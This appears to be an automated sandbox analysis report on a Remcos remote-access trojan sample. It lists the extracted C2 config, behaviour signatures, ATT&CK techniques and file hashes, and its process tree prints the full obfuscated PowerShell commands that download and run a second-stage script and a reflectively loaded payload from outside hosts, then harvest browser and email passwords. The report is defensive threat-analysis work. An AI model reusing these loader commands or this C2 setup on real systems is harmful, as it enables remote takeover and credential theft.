remcos | c76b7544fd10321bd84cd67c6662b7ceb4fe71a87789a09948c6ba690f0fb3ec

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 14:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

nicegirlkissedmewithloverissingmegoodgreatthings.hta
Size

491KB
MD5

4b953e9801ac2ec60bf284162ed6793d
SHA1

090650754ac26c80128fed9b425000f3167551f4
SHA256

c76b7544fd10321bd84cd67c6662b7ceb4fe71a87789a09948c6ba690f0fb3ec
SHA512

f5d19a017a961229db0c10e06fe1da6a78693490d2928a6931ad5945ea93fa6b7bc193ae4c89f527702003293a05e7aba4618bba1c24508ef36015609ab4aa5a
SSDEEP

768:PnQVWUUGY6qZFKN9xv7RmzmBLStxuzHtu1Dj0YNYlBdNpdCb8sOUw8Qp3/GHxwv2:JRkKyMIBK2r0a8i4h

Score

10^/10

remcos zynova collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

zynova

millionairedreams2025.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-MGAETQ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/2376-72-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2368-68-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/2332-67-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/2368-68-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/2332-67-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2776	powershell.exe
6	3060	powershell.exe
7	3060	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2776	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3060	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3060 set thread context of 1972	3060	powershell.exe	39
PID 1972 set thread context of 2332	1972	CasPol.exe	41
PID 1972 set thread context of 2368	1972	CasPol.exe	42
PID 1972 set thread context of 2376	1972	CasPol.exe	43

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2776	powershell.exe
2776	powershell.exe
2776	powershell.exe
3060	powershell.exe
2332	CasPol.exe
2332	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1972	CasPol.exe
1972	CasPol.exe
1972	CasPol.exe
1972	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	2376	CasPol.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 2832	2208	mshta.exe	30
PID 2208 wrote to memory of 2832	2208	mshta.exe	30
PID 2208 wrote to memory of 2832	2208	mshta.exe	30
PID 2208 wrote to memory of 2832	2208	mshta.exe	30
PID 2832 wrote to memory of 2776	2832	cmd.exe	32
PID 2832 wrote to memory of 2776	2832	cmd.exe	32
PID 2832 wrote to memory of 2776	2832	cmd.exe	32
PID 2832 wrote to memory of 2776	2832	cmd.exe	32
PID 2776 wrote to memory of 2592	2776	powershell.exe	33
PID 2776 wrote to memory of 2592	2776	powershell.exe	33
PID 2776 wrote to memory of 2592	2776	powershell.exe	33
PID 2776 wrote to memory of 2592	2776	powershell.exe	33
PID 2592 wrote to memory of 2560	2592	csc.exe	34
PID 2592 wrote to memory of 2560	2592	csc.exe	34
PID 2592 wrote to memory of 2560	2592	csc.exe	34
PID 2592 wrote to memory of 2560	2592	csc.exe	34
PID 2776 wrote to memory of 2828	2776	powershell.exe	36
PID 2776 wrote to memory of 2828	2776	powershell.exe	36
PID 2776 wrote to memory of 2828	2776	powershell.exe	36
PID 2776 wrote to memory of 2828	2776	powershell.exe	36
PID 2828 wrote to memory of 3060	2828	WScript.exe	37
PID 2828 wrote to memory of 3060	2828	WScript.exe	37
PID 2828 wrote to memory of 3060	2828	WScript.exe	37
PID 2828 wrote to memory of 3060	2828	WScript.exe	37
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 3060 wrote to memory of 1972	3060	powershell.exe	39
PID 1972 wrote to memory of 1816	1972	CasPol.exe	40
PID 1972 wrote to memory of 1816	1972	CasPol.exe	40
PID 1972 wrote to memory of 1816	1972	CasPol.exe	40
PID 1972 wrote to memory of 1816	1972	CasPol.exe	40
PID 1972 wrote to memory of 2332	1972	CasPol.exe	41
PID 1972 wrote to memory of 2332	1972	CasPol.exe	41
PID 1972 wrote to memory of 2332	1972	CasPol.exe	41
PID 1972 wrote to memory of 2332	1972	CasPol.exe	41
PID 1972 wrote to memory of 2332	1972	CasPol.exe	41
PID 1972 wrote to memory of 2368	1972	CasPol.exe	42
PID 1972 wrote to memory of 2368	1972	CasPol.exe	42
PID 1972 wrote to memory of 2368	1972	CasPol.exe	42
PID 1972 wrote to memory of 2368	1972	CasPol.exe	42
PID 1972 wrote to memory of 2368	1972	CasPol.exe	42
PID 1972 wrote to memory of 2376	1972	CasPol.exe	43
PID 1972 wrote to memory of 2376	1972	CasPol.exe	43
PID 1972 wrote to memory of 2376	1972	CasPol.exe	43
PID 1972 wrote to memory of 2376	1972	CasPol.exe	43
PID 1972 wrote to memory of 2376	1972	CasPol.exe	43

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicegirlkissedmewithloverissingmegoodgreatthings.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C pOWErSheLL -eX bYPass -NOp -W 1 -c deVIceCreDeNTialDePlOyMent.eXe ; INVoke-eXPreSsIOn($(INVoke-EXprEsSIoN('[SySTeM.tEXT.eNCOdinG]'+[CHaR]58+[ChaR]58+'uTf8.GEtStRinG([SySTEM.conVErt]'+[CHar]58+[chAr]0x3a+'fROmbaSE64StRINg('+[chAr]34+'JGdqUnh0USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1CZXJkZUZJbklUaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlscWVNcSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUlpLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5bm8sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbFUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRWSmJXenhxdmwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlB0dyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIWnpOcERwU0VsZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnalJ4dFE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMjEwLjIxNS43L3hhbXBwL2trYi9uaWNlZ2lybHdhbnRtZXRva2lzc2hlcmxpcHN3ZWxsd2l0aG15bGlwcy50SUYiLCIkZW5WOkFQUERBVEFcbmljZWdpcmx3YW50bWV0b2tpc3NoZXJsaXBzd2VsbHdpdGhteWxpcC52YlMiLDAsMCk7U3RBUlQtU2xlZXAoMyk7U1RhcnQtcHJPQ2VTcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXG5pY2VnaXJsd2FudG1ldG9raXNzaGVybGlwc3dlbGx3aXRobXlsaXAudmJTIg=='+[ChAr]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    pOWErSheLL -eX bYPass -NOp -W 1 -c deVIceCreDeNTialDePlOyMent.eXe ; INVoke-eXPreSsIOn($(INVoke-EXprEsSIoN('[SySTeM.tEXT.eNCOdinG]'+[CHaR]58+[ChaR]58+'uTf8.GEtStRinG([SySTEM.conVErt]'+[CHar]58+[chAr]0x3a+'fROmbaSE64StRINg('+[chAr]34+'JGdqUnh0USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZW1CZXJkZUZJbklUaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlscWVNcSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUlpLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5bm8sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbFUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRWSmJXenhxdmwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlB0dyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIWnpOcERwU0VsZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnalJ4dFE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMjEwLjIxNS43L3hhbXBwL2trYi9uaWNlZ2lybHdhbnRtZXRva2lzc2hlcmxpcHN3ZWxsd2l0aG15bGlwcy50SUYiLCIkZW5WOkFQUERBVEFcbmljZWdpcmx3YW50bWV0b2tpc3NoZXJsaXBzd2VsbHdpdGhteWxpcC52YlMiLDAsMCk7U3RBUlQtU2xlZXAoMyk7U1RhcnQtcHJPQ2VTcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXG5pY2VnaXJsd2FudG1ldG9raXNzaGVybGlwc3dlbGx3aXRobXlsaXAudmJTIg=='+[ChAr]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l0qcy94y.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2592
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5CC1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5CC0.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2560
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicegirlwantmetokissherlipswellwithmylip.vbS"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2828
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA4ADgAMwAvADQAMgAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAzADcAMQAyADQAOQA4ADAAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAeQByAGUAdgBlAHIAbwBmAGwAawB1AGYAaQB0AHUAYQBlAGIAeQByAGUAdgBlAHIAYQBzAGwAcgBpAGcAdABoAGcAaQBuAC8AYgBrAGsALwBwAHAAbQBhAHgALwA3AC4ANQAxADIALgAwADEAMgAuADIAOQAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3060
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1972
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jlqzlncecsytbnizauemppbnrknorfcxtv"
        7⤵
        
        PID:1816
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jlqzlncecsytbnizauemppbnrknorfcxtv"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2332
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\lfvrmx"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2368
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\whacmqxze"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES5CC1.tmp

Filesize
1KB

MD5
460190a3d5e24f29de08518c8242e0a7

SHA1
7fdc3be8271f650b6711e2c0a05127d6f2856842

SHA256
1926c35218ce8b0d67aa3b509711276d42955496cf089ee0e48d0495cff1acec

SHA512
c1f11d56ce5ce96c05a13bd0c2e46c62bf7bda960f83b8395964a0a49efe92d667f6ed1a3b8d9591c511bebdd0bc2e671c2970fa9bc9343869ad821165da3950

Download Submit
C:\Users\Admin\AppData\Local\Temp\jlqzlncecsytbnizauemppbnrknorfcxtv

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Local\Temp\l0qcy94y.dll

Filesize
3KB

MD5
c402864e50b771271835d84d66beee4d

SHA1
f23076451d5533f3040bd78928f920f94ffd79fb

SHA256
f69b2d7b265e43f80088d5c141c46fcfdd6f19714ebed15a304aff330a99b94f

SHA512
b36b70c492242f966f591b6402b711b6dcf6bde3cc3576687749233f5b361d91ee95dde8ab74ca9a922ce6c2f7d09b402c5294ddda30bae574d6de12067462cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\l0qcy94y.pdb

Filesize
7KB

MD5
ee678533eae47b5f398dacff1517eb73

SHA1
2ab0528b77f77484f0a7728211b0503a42980ecf

SHA256
144e2cab2e0b56172da33602fdb12fbc1b0e8bf7731a7fa6ef7a41a92d4c4098

SHA512
fbb162d4485af4029d57d12003d7c57f098dd6781e625a3b5f5a24abfc3f502c342d61f95d7019d1babec1d468ab827c8467eb508c012a9aa9be4c53d96ed55b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
4537bbc14c67d502b6c6f949ef7c962d

SHA1
7a6122052f246b5d20549ff4fa639535d6a28864

SHA256
f0977aff753fe05da8c26bd0bc49f9869efdffe91e5ff855233a57ad62517808

SHA512
78cc9f4a48219f75ef1533a1772f9f5dbfaa37599fa40765aa49360c7c69e4bdf8967e56c4cea4e0e05aa346076d14d9b2d175960c12fd1a9fe39ee38db8ce79

Download Submit
C:\Users\Admin\AppData\Roaming\nicegirlwantmetokissherlipswellwithmylip.vbS

Filesize
213KB

MD5
b14ef4fa92414ea1658977a049f15306

SHA1
11e59f935817673e2b68cfd36e4ce93d15034714

SHA256
a6f979fe5ca109e929031fd0811506343b3089a13300438be24070650c6b6bf3

SHA512
8b627fd09767ba773acdbcce52b646b1b819b261b72c17289d443a6c7e504f34b3402a64f73d48fef893d7d38dfbeef213ed5218c211558428307d69a03f9630

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC5CC0.tmp

Filesize
652B

MD5
a5480a83ad9e64bca969569e9b97105e

SHA1
4ad796d6a35268ad7823e96807d2099d937944e1

SHA256
ac1011d08b59fa0b76d061f96410cff78165ca90407019070472ab512fc0a609

SHA512
6caa045e3210b4be6f717a9da533302e4290db3a9f557f8352a429f6c711175429370603d85f0baf3f2aef3bd15397f9810696187e4509ff7db5277cf9f07589

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l0qcy94y.0.cs

Filesize
478B

MD5
680c55127532e413a19eddb51b0cb473

SHA1
7d279e255bc675f1c09df8b210ee4472b5d3b8b6

SHA256
fdd40f201088921031cf300fdce7ca0be6e458b70d0f5df699cf6a0cc33a7515

SHA512
27a542c554c27adf777c741eb218b7a0634392abced081722b43c51066dfb49d604473a9df4b4e257879355cb966882431286f7bbb2ed5d8a23840d837127205

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\l0qcy94y.cmdline

Filesize
309B

MD5
a649c580786b7b692c155972905e4d14

SHA1
8549838a3fc155e1e34653eea3bbac6855b1d719

SHA256
cd2a7f3d16f3c6b587fceb5230b8d80c697d7b99412632ad2a57215c8dc002e2

SHA512
405cdf199ea86dc52df8357c87d4512284436c243d04d86aa5e51919042ad0102bbca07d8470513d20cd4b8f3ab2c9b058b518bbb2c0495e5d0d323549aee6cd

Download Submit
memory/1972-56-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-78-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1972-44-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-42-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-49-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-46-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-51-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-53-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-52-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-54-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-55-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-50-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1972-57-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-58-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-89-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-88-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-86-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-85-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1972-84-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
